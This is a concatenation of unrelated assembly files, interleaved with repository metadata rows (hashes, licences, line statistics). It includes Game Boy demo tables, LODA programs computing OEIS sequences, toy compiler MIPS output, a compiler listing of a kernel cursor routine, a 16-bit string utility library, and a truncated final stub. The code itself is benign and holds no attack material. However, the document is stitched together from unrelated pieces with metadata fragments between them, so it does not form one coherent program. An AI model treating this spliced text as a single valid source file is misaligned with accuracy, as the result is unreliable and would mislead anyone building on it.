db $01,$01,$01,$01,$01,$01,$01,$01,$01,$01,$02,$02,$02,$02,$02,$02
db $02,$02,$02,$02,$02,$02,$02,$03,$03,$03,$03,$03,$03,$03,$03,$03
db $03,$03,$03,$04,$04,$04,$04,$04,$04,$04,$04,$04,$04,$04,$04,$04
db $05,$05,$05,$05,$05,$05,$05,$05,$05,$05,$05,$05,$05,$06,$06,$06
db $06,$06,$06,$06,$06,$06,$06,$06,$06,$06,$07,$07,$07,$07,$07,$07
db $07,$07,$07,$07,$07,$07,$08,$08,$08,$08,$08,$08,$08,$08,$08,$08
db $08,$08,$08,$09,$09,$09,$09,$09,$09,$09,$09,$09,$09,$09,$09,$09
db $0A,$0A,$0A,$0A,$0A,$0A,$0A,$0A,$0A,$0A,$0A,$0A,$0A,$0B,$0B,$0B
db $0B,$0B,$0B,$0B,$0B,$0B,$0B,$0B,$0B,$0C,$0C,$0C,$0C,$0C,$0C,$0C
db $0C,$0C,$0C,$0C,$0C,$0C,$0D,$0D,$0D,$0D,$0D,$0D,$0D,$0D,$0D,$0D
db $0D,$0D,$0D,$0E,$0E,$0E,$0E,$0E,$0E,$0E,$0E,$0E,$0E,$0E,$0E,$0E
db $0F,$0F,$0F,$0F,$0F,$0F,$0F,$0F,$0F,$0F,$0F,$0F,$10,$10,$10,$10
db $10,$10,$10,$10,$10,$10,$10,$10,$10,$11,$11,$11,$11,$11,$11,$11
db $11,$11,$11,$11,$11,$11,$12,$12,$12,$12,$12,$12,$12,$12,$12,$12
db $12,$12,$12,$13,$13,$13,$13,$13,$13,$13,$13,$13,$13,$13,$13
bell_curve_end::
section "FadeOutTable", ROM0, ALIGN[8]
fade_out_table::
db %11100100
db %11100100
db %11100100
db %11101001
db %11101001
db %11111001
db %11111001
db %11111001
db %11111010
db %11111010
db %11111110
db %11111110
db %11111110
db %11111111
db %11111111
db %11111111
fade_out_table_end::
section "FadeInTable", ROM0, ALIGN[8]
fade_in_table::
db %11111111
db %11111111
db %11111111
db %11111110
db %11111110
db %11111110
db %11111010
db %11111010
db %11111001
db %11111001
db %11111001
db %11101001
db %11101001
db %11100100
db %11100100
db %11100100
fade_in_table_end::
section "CommonVariables", WRAM0
; =================================
; COMMON VARIABLES
; =================================
current_state:: ds 1
next_state:: ds 1
fade_in_offset:: ds 1
fade_out_offset:: ds 1
fade_color:: ds 1
; =================================
load_tiles:: ds $01
fx_counter:: ds $04
continue_running:: ds 1
wave1_offset_idx:: ds $01
offset_x:: ds $01
offset_x2:: ds $01
wave_offset:: ds $01
text_wave:: ds $01
text_anim:: ds $01
text_x:: ds $01
tmp:: ds $02
sp_save:: ds $02
should_load_data:: ds $01
load_step:: ds $01
should_play_music:: ds $01
is_dmg:: ds $01
section "Vectors", WRAM0
timer_interrupt_callback:: ds 2
SECTION "Music",ROMX[$4000],BANK[MusicBank]
INCBIN "assets/carillon.bin" ; player code and music data
SECTION "Reserved",WRAM0[$c7c0]
ds $30 ; $c7c0 - $c7ef for player variables
| 23.300836
| 78
| 0.506157
|
108930d60898997ffc969e009c612ad639282224
| 708
|
asm
|
Assembly
|
oeis/147/A147540.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/147/A147540.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/147/A147540.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A147540: Numbers whose binary representation is the concatenation of 2n-1 digits 1, n digits 0 and 2n-1 digits 1.
; Submitted by Jon Maiga
; 5,231,7967,260223,8372735,268306431,8588894207,274869551103,8796026044415,281474440364031,9007194961870847,288230341800361983,9223371762010423295,295147902980463788031,9444732948147641253887,302231454762921952804863,9671406555791142080741375,309485009812337903829778431,9903520314210984742594019327,316912650056480890171628191743,10141204801821223528154221510655,324518553658389833303804694495231,10384593717069360109190997677703167,332306998946226607042851067735834623
add $0,1
mov $1,8
pow $1,$0
add $1,2
mov $2,4
pow $2,$0
sub $2,2
mul $1,$2
mov $0,$1
div $0,4
| 47.2
| 471
| 0.85452
|
c03a38e9a0d9db200b4b917773de7038104ddb20
| 338
|
asm
|
Assembly
|
oeis/127/A127773.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/127/A127773.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/127/A127773.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A127773: Triangle read by rows: row n consists of n-1 zeros followed by n(n+1)/2.
; Submitted by Jon Maiga
; 1,0,3,0,0,6,0,0,0,10,0,0,0,0,15,0,0,0,0,0,21,0,0,0,0,0,0,28,0,0,0,0,0,0,0,36,0,0,0,0,0,0,0,0,45,0,0,0,0,0,0,0,0,0,55
add $0,1
mov $3,$0
lpb $0
add $2,1
sub $0,$2
lpe
lpb $0
sub $0,1
add $2,$3
div $3,$2
lpe
mov $0,$3
| 19.882353
| 118
| 0.576923
|
09498f05d08e50628a6dcccfa8a3bc2d4a49a53a
| 386
|
asm
|
Assembly
|
Target/code.asm
|
ciborg245/Compiler---Semantic-Analysis
|
48f002822ae06ed0a78872d3d9857570f3865a32
|
[
"MIT"
] | null | null | null |
Target/code.asm
|
ciborg245/Compiler---Semantic-Analysis
|
48f002822ae06ed0a78872d3d9857570f3865a32
|
[
"MIT"
] | null | null | null |
Target/code.asm
|
ciborg245/Compiler---Semantic-Analysis
|
48f002822ae06ed0a78872d3d9857570f3865a32
|
[
"MIT"
] | null | null | null |
.text
BEGIN_main:
LABEL_TRUE_-1:
j LABEL_END_IF_0
LABEL_FALSE_0:
jr $ra
LABEL_WHILE_1:
j LABEL_FALSE_1
LABEL_TRUE_1::
j LABEL_FALSE_1
j LABEL_FALSE_1
LABEL_TRUE_2:
LABEL_TRUE_3:
j LABEL_WHILE_1
LABEL_FALSE_1:
j LABEL_FALSE_4
LABEL_TRUE_4:
j LABEL_END_IF_4
LABEL_FALSE_4:
jr $ra
j LABEL_FALSE_6
LABEL_TRUE_6:
j LABEL_END_IF_6
LABEL_FALSE_6:
jr $ra
li $v0, 4
syscall
.data
| 12.866667
| 17
| 0.797927
|
3c262423098636838e2c3a4d09d511430ad64fdf
| 709
|
asm
|
Assembly
|
programs/oeis/057/A057661.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/057/A057661.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/057/A057661.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A057661: a(n) = Sum_{k=1..n} lcm(n,k)/n.
; 1,2,4,6,11,11,22,22,31,32,56,39,79,65,74,86,137,92,172,116,151,167,254,151,261,236,274,237,407,221,466,342,389,410,452,336,667,515,550,452,821,452,904,611,641,761,1082,599,1051,782,956,864,1379,821,1166,925,1201,1220,1712,809,1831,1397,1312,1366,1649,1166,2212,1502,1775,1355,2486,1312,2629,2000,1824,1887,2387,1649,3082,1796,2461,2462,3404,1656,2867,2711,2846,2387,3917,1922,3376,2789,3259,3245,3602,2391,4657,3152,3386,2866
add $0,1
pow $0,2
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
add $5,$3
mul $3,$0
sub $0,1
add $1,$3
lpe
mov $0,$1
cmp $4,0
add $5,$4
div $0,$5
div $0,2
add $0,1
| 26.259259
| 427
| 0.648801
|
13aa40f538e4e84a55c2a25c21b53b29e67e6589
| 6,828
|
asm
|
Assembly
|
Aurora/Aurora/x64/Debug/hwcursor.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | 8
|
2021-07-19T04:46:35.000Z
|
2022-03-12T17:56:00.000Z
|
Aurora/Aurora/x64/Debug/hwcursor.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | null | null | null |
Aurora/Aurora/x64/Debug/hwcursor.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | null | null | null |
; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC ?mouse_img_i@@3PAIA ; mouse_img_i
_DATA SEGMENT
?mouse_img_i@@3PAIA DD 0ff000000H ; mouse_img_i
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 0ff000000H
DD 0ff000000H
DD 0ff000000H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 0ff000000H
DD 0ff000000H
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ffffffffH
DD 0ff000000H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 00H
DD 0ff000000H
DD 0ff000000H
DD 00H
DD 00H
_DATA ENDS
PUBLIC ?hw_move_cursor@@YAXPEAIII@Z ; hw_move_cursor
EXTRN x64_cli:PROC
EXTRN ?svga_fifo_commit_all@@YAXXZ:PROC ; svga_fifo_commit_all
EXTRN ?svga_begin_define_alpha_cursor@@YAXPEBUSVGAFifoCmdDefineAlphaCursor@@PEAPEAX@Z:PROC ; svga_begin_define_alpha_cursor
EXTRN ?svga_move_cursor@@YAXIIII@Z:PROC ; svga_move_cursor
pdata SEGMENT
$pdata$?hw_move_cursor@@YAXPEAIII@Z DD imagerel $LN13
DD imagerel $LN13+305
DD imagerel $unwind$?hw_move_cursor@@YAXPEAIII@Z
pdata ENDS
xdata SEGMENT
$unwind$?hw_move_cursor@@YAXPEAIII@Z DD 011201H
DD 0a212H
xdata ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\hwcursor.cpp
_TEXT SEGMENT
_y$1 = 32
_x$2 = 36
and_data$ = 40
cursor$ = 48
mouse_image$ = 96
xcoord$ = 104
ycoord$ = 112
?hw_move_cursor@@YAXPEAIII@Z PROC ; hw_move_cursor
; 40 : void hw_move_cursor (uint32_t *mouse_image, uint32_t xcoord, uint32_t ycoord) {
$LN13:
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov QWORD PTR [rsp+8], rcx
sub rsp, 88 ; 00000058H
; 41 : x64_cli();
call x64_cli
; 42 :
; 43 :
; 44 : SVGAFifoCmdDefineAlphaCursor cursor;
; 45 : cursor.id = 0;
mov DWORD PTR cursor$[rsp], 0
; 46 : cursor.hotspotX = 0;
mov DWORD PTR cursor$[rsp+4], 0
; 47 : cursor.hotspotY = 0;
mov DWORD PTR cursor$[rsp+8], 0
; 48 : if (mouse_image == NULL){
cmp QWORD PTR mouse_image$[rsp], 0
jne SHORT $LN10@hw_move_cu
; 49 : cursor.width = 11;
mov DWORD PTR cursor$[rsp+12], 11
; 50 : cursor.height = 18;
mov DWORD PTR cursor$[rsp+16], 18
; 51 : }else{
jmp SHORT $LN9@hw_move_cu
$LN10@hw_move_cu:
; 52 : cursor.width = 24;
mov DWORD PTR cursor$[rsp+12], 24
; 53 : cursor.height = 24;
mov DWORD PTR cursor$[rsp+16], 24
$LN9@hw_move_cu:
; 54 : }
; 55 :
; 56 :
; 57 : uint32_t *and_data;
; 58 : svga_begin_define_alpha_cursor (&cursor, (void**)&and_data);
lea rdx, QWORD PTR and_data$[rsp]
lea rcx, QWORD PTR cursor$[rsp]
call ?svga_begin_define_alpha_cursor@@YAXPEBUSVGAFifoCmdDefineAlphaCursor@@PEAPEAX@Z ; svga_begin_define_alpha_cursor
; 59 :
; 60 : for (int _y = 0; _y < cursor.height; _y++) {
mov DWORD PTR _y$1[rsp], 0
jmp SHORT $LN8@hw_move_cu
$LN7@hw_move_cu:
mov eax, DWORD PTR _y$1[rsp]
inc eax
mov DWORD PTR _y$1[rsp], eax
$LN8@hw_move_cu:
mov eax, DWORD PTR cursor$[rsp+16]
cmp DWORD PTR _y$1[rsp], eax
jae $LN6@hw_move_cu
; 61 : for ( int _x = 0; _x < cursor.width; _x++) {
mov DWORD PTR _x$2[rsp], 0
jmp SHORT $LN5@hw_move_cu
$LN4@hw_move_cu:
mov eax, DWORD PTR _x$2[rsp]
inc eax
mov DWORD PTR _x$2[rsp], eax
$LN5@hw_move_cu:
mov eax, DWORD PTR cursor$[rsp+12]
cmp DWORD PTR _x$2[rsp], eax
jae SHORT $LN3@hw_move_cu
; 62 : //if ( mouse_img_i[_y * 11 + _x] & 0xFF000000){
; 63 : if (mouse_image == NULL)
cmp QWORD PTR mouse_image$[rsp], 0
jne SHORT $LN2@hw_move_cu
; 64 : *(and_data++) = mouse_img_i[_y * 11 + _x];
mov eax, DWORD PTR _y$1[rsp]
imul eax, 11
add eax, DWORD PTR _x$2[rsp]
cdqe
lea rcx, OFFSET FLAT:?mouse_img_i@@3PAIA ; mouse_img_i
mov rdx, QWORD PTR and_data$[rsp]
mov eax, DWORD PTR [rcx+rax*4]
mov DWORD PTR [rdx], eax
mov rax, QWORD PTR and_data$[rsp]
add rax, 4
mov QWORD PTR and_data$[rsp], rax
; 65 : else
jmp SHORT $LN1@hw_move_cu
$LN2@hw_move_cu:
; 66 : *(and_data++) = mouse_image[_y * cursor.width + _x];
mov eax, DWORD PTR _y$1[rsp]
imul eax, DWORD PTR cursor$[rsp+12]
add eax, DWORD PTR _x$2[rsp]
mov eax, eax
mov rcx, QWORD PTR and_data$[rsp]
mov rdx, QWORD PTR mouse_image$[rsp]
mov eax, DWORD PTR [rdx+rax*4]
mov DWORD PTR [rcx], eax
mov rax, QWORD PTR and_data$[rsp]
add rax, 4
mov QWORD PTR and_data$[rsp], rax
$LN1@hw_move_cu:
; 67 : // *(xor_data++) = _y * 127;
; 68 : //}
; 69 : }
jmp SHORT $LN4@hw_move_cu
$LN3@hw_move_cu:
; 70 : }
jmp $LN7@hw_move_cu
$LN6@hw_move_cu:
; 71 : svga_move_cursor(true, xcoord,ycoord,0);
xor r9d, r9d
mov r8d, DWORD PTR ycoord$[rsp]
mov edx, DWORD PTR xcoord$[rsp]
mov ecx, 1
call ?svga_move_cursor@@YAXIIII@Z ; svga_move_cursor
; 72 : svga_fifo_commit_all();
call ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
; 73 :
; 74 : }
add rsp, 88 ; 00000058H
ret 0
?hw_move_cursor@@YAXPEAIII@Z ENDP ; hw_move_cursor
_TEXT ENDS
END
| 17.155779
| 123
| 0.699033
|
32d1a5b9b777a16ff2abd1b840af80019ed0eca6
| 298
|
asm
|
Assembly
|
programs/oeis/182/A182305.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/182/A182305.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/182/A182305.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A182305: a(n+1) = a(n) + floor(a(n)/4) with a(0)=4.
; 4,5,6,7,8,10,12,15,18,22,27,33,41,51,63,78,97,121,151,188,235,293,366,457,571,713,891,1113,1391,1738,2172,2715,3393,4241,5301,6626,8282,10352,12940,16175,20218,25272,31590,39487
mov $1,4
lpb $0
sub $0,1
mul $1,5
div $1,4
lpe
mov $0,$1
| 27.090909
| 179
| 0.647651
|
7f09f7f806ff8dec65881f3eb4723403c579052f
| 7,873
|
asm
|
Assembly
|
std/string.asm
|
SuperFola/project-E
|
0542d6aa649f1e4488df1ea036ace80bf3143056
|
[
"MIT",
"Unlicense"
] | 16
|
2018-05-12T17:25:48.000Z
|
2020-09-12T13:17:10.000Z
|
std/string.asm
|
SuperFola/project-E
|
0542d6aa649f1e4488df1ea036ace80bf3143056
|
[
"MIT",
"Unlicense"
] | 6
|
2019-07-08T08:52:54.000Z
|
2019-07-08T09:00:13.000Z
|
std/string.asm
|
SuperFola/project-E
|
0542d6aa649f1e4488df1ea036ace80bf3143056
|
[
"MIT",
"Unlicense"
] | null | null | null |
%ifndef proj_e_string_asm
%define proj_e_string_asm
bits 16
; Routine to get a string from the user
; Waits for a complete string of user input and puts it in buffer
; Sensitive for backspace and Enter buttons
; INPUT : DI (buffer address), CH (characters count limit), BL (a value != 0 will print * instead of the character)
; OUTPUT : input in buffer
proj_e_get_user_input:
cld ; clearing direction flag
xor cl, cl ; CL will be our counter to keep track of the number of characters the user has entered.
; XORing cl by itself will set it to zero.
.get_char_and_add_to_buffer:
xor ah, ah ; We use bios interrupt 0x16 to capture user input.
; AH=0 is an option for 0x16 that tells the interrupt to read the user input character
int 0x16 ; call interrupt. Stores read character in AL
; backspace button listener
cmp al, 0x08 ; compares user input to the backspace button, stores result in Carry Flag
je .backspace_pressed ; if the results of the compare is 1, go to subroutine .backspace_pressed
; enter button listener
cmp al, 0x0d ; compares user input to enter button
je .enter_pressed ; go to appropriate subroutine for enter button
; input counter
cmp cl, ch ; Has the user entered 'ch' bytes yet? (buffer limit is in register ch)
je .buffer_overflow
; User input is normal character
cmp bl, 0
je .put_normal_char
; save al for later
push ax
mov al, '*' ; if bl != 0, then replace the character with a '*'
mov ah, 0x0e ; Teletype mode
int 0x10 ; Print interrupt
pop ax
jmp .next
.put_normal_char:
mov ah, 0x0e ; Teletype mode
int 0x10 ; Print interrupt
.next:
; puts character in buffer
mystosb di
inc cl ; increment counter
jmp .get_char_and_add_to_buffer ; recurse
.backspace_pressed:
cmp cl, 0 ; no point erasing anything if no input has been entered
je .get_char_and_add_to_buffer ; ignore backspace press
; Delete last input character from buffer
; When you use stosb, movsb or similar functions, the system implicitly uses the SI and DI registers.
dec di ; Therefore we need to decrement di to get to the last input character and erase it.
mov byte [di], 0 ; Erases the byte at location [di]
dec cl ; decrement our counter
; Erase character from display
mov ah, 0x0e ; Teletype mode again
mov al, 0x08 ; Backspace character
int 0x10
mov al, ' ' ; Empty character to print
int 0x10
mov al, 0x08
int 0x10
jmp .get_char_and_add_to_buffer ; go back to main routine
; enter button pressed. Jump to exit
.enter_pressed:
jmp .exit_routine
; buffer overflow (buffer is full). Don't accept any more chars and exit routine.
.buffer_overflow:
jmp .exit_routine
.exit_routine:
mov al, 0 ; end of user input signal
mystosb di
mov ah, 0x0e
mov al, 0x0d ; new line
int 0x10
mov al, 0x0a
int 0x10
ret ; exit entire routine
; Routine to compare equality of two strings
; INPUT : SI (first string address), DI (second string address)
; OUTPUT : carry flag on if strings are equal
; N.B. : strings in SI and DI remain untouched
proj_e_compare_string:
.compare_next_character:
; a loop that goes character by character
mov al, [si] ; focus on next byte in si
mov bl, [di] ; focus on next byte in di
cmp al, bl
jne .conclude_not_equal ; if not equal, conclude and exit
; we know: two bytes are equal
cmp al, 0 ; did we just compare two zeros?
je .conclude_equal ; if yes, we've reached the end of the strings. They are equal.
; increment counters for next loop
inc si
inc di
jmp .compare_next_character
.conclude_equal:
; sets the carry flag (meaning that they ARE equal)
stc
jmp .done
.conclude_not_equal:
; clears the carry flag (meaning that they ARE NOT equal)
clc
.done:
ret
; Routine to compare two strings, the second one MUST match the beginning of the first one
; INPUT : SI (first string), DI (second string)
; OUTPUT : carry flag if strings are "equal"
; N.B. : strings in SI and DI remain untouched
proj_e_compare_start_string:
.compare_next_character:
; a loop that goes character by character
mov al, [si] ; focus on next byte in si
mov bl, [di] ; focus on next byte in di
cmp bl, 0
je .conclude_equal
cmp al, bl
jne .conclude_not_equal
; increment counters for next loop
inc si
inc di
jmp .compare_next_character
.conclude_equal:
; sets the carry flag (meaning that they ARE equal)
stc
jmp .done
.conclude_not_equal:
; clears the carry flag (meaning that they ARE NOT equal)
clc
.done:
ret
; Routine to get the size of a string
; INPUT : SI (string to get size of)
; OUTPUT : AX (length)
proj_e_length_string:
pusha
mov cx, 0
.more:
cmp byte [si], 0
je .done
inc si
inc cx
jmp .more
.done:
mov word [.counter], cx
popa
mov ax, word [.counter]
ret
.counter dw 0
; Routine to tokenize a string "a b c d" (separator is given)
; INPUT : SI (string to split), AL (single char separator)
; OUTPUT : DI (next token or 0 if none)
proj_e_tokenize_string:
push si
.next_char:
; do we have a matching separator ?
cmp byte [si], al
je .return_token
; is this the end of the string ?
cmp byte [si], 0
jz .no_more
; move forward
inc si
jmp .next_char
.return_token:
mov byte [si], 0
inc si
mov di, si
pop si
ret
.no_more:
mov di, 0
pop si
ret
; Routine to convert a single hexdigit string to integer
; INPUT : SI (string)
; OUTPUT : AL (number)
proj_e_hex_to_int:
; '0': 48, '1': 49, '2': 50, '3': 51, '4': 52, '5': 53, '6': 54, '7': 55, '8': 56, '9': 57
; 'a': 97, 'b': 98, 'c': 99, 'd': 100, 'e': 101, 'f': 102
; 'A': 65, 'B': 66, 'C': 67, 'D': 68, 'E': 69, 'F': 70
; get first char
mov byte al, [si]
; if 48 <= al <= 57:
cmp al, 48
jl .error
cmp al, 57
jg .try_upper_letter
; then
; convert from ASCII to real number
sub al, 48
mov byte [.val], al
jmp .end
.try_upper_letter:
; if 65 <= al <= 70
cmp al, 65
jl .error
cmp al, 70
jg .try_lower_letters
; then
; convert from ASCII to real number (+10, 'A' is the reference and 0xA == 10)
sub al, 55
mov byte [.val], al
jmp .end
.try_lower_letters:
; if 97 <= al <= 102:
cmp al, 97
jl .error
cmp al, 102
jg .error
; then
; convert from ASCII to real number (+10, 'a' is the reference and 0xa == 10)
sub al, 87
mov byte [.val], al
jmp .end
.end:
clc
jmp .done
.error:
stc
print .error_msg
.done:
mov byte al, byte [.val]
ret
.val db 0
.error_msg db 'Could not convert hex-digit string to integer', 13, 10, 0
; Routine to convert a 2 hexdigits string to integer
; INPUT : SI (string)
; OUTPUT : AL (number)
proj_e_2hex_to_int:
; if len(str) != 2:
call proj_e_length_string
cmp ax, 2
; then
; error
jne .error
; else:
; go to end of string
add si, ax
dec si
; convert last digit from the right
call proj_e_hex_to_int
jc .error
mov byte [.val], byte al
dec si
; convert the 2nd digit and multiply it by 16
call proj_e_hex_to_int
jc .error
mov byte ah, 0x00
shl ax, 0x04
add byte [.val], byte al
.end:
clc
jmp .done
.error:
stc
print .error_msg
.done:
mov byte al, byte [.val]
ret
.val db 0
.error_msg db 'Could not convert 2hex-digits string to integer', 13, 10, 0
%endif
| 24.914557
| 116
| 0.630509
|
45fb735bef45141217ec9e1236a35c2afa0a9667
| 779
|
asm
|
Assembly
|
oeis/229/A229472.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/229/A229472.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/229/A229472.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A229472: Number of defective 4-colorings of an n X 1 0..3 array connected horizontally, antidiagonally and vertically with exactly one mistake, and colors introduced in row-major 0..3 order.
; 0,1,2,6,20,70,246,854,2920,9846,32810,108262,354300,1151462,3720094,11957430,38263760,121965718,387420498,1226831558,3874204900,12203745414,38354628422,120294061846,376572715320,1176789735350,3671583974266,11438396227494,35586121596620,110571163532326,343151886824430,1063770849155702,3294258113514400,10191611038685142,31501343210481314,97283559914721670,300189270593998260,925583584331494598,2851798070642983318,8780536164874448598,27017034353459841800,83077380636889013494,255310974640195504842
mov $1,$0
sub $0,1
trn $0,1
mov $2,3
pow $2,$0
add $2,1
mul $1,$2
mov $0,$1
div $0,2
| 59.923077
| 499
| 0.838254
|
8e16f1f1bd4cc8b69270bae152dc900c845005ef
| 93
|
asm
|
Assembly
|
src/main/fragment/mos6502-common/vwum1=vwum2_ror_vbuxx.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/main/fragment/mos6502-common/vwum1=vwum2_ror_vbuxx.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/main/fragment/mos6502-common/vwum1=vwum2_ror_vbuxx.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
lda {m2}
sta {m1}
lda {m2}+1
sta {m1}+1
cpx #0
beq !e+
!:
lsr {m1}+1
ror {m1}
dex
bne !-
!e:
| 7.153846
| 10
| 0.516129
|
460f6338e7cc413332c920abf00695db2aa193bb
| 300
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_slice_dirent.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_slice_dirent.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
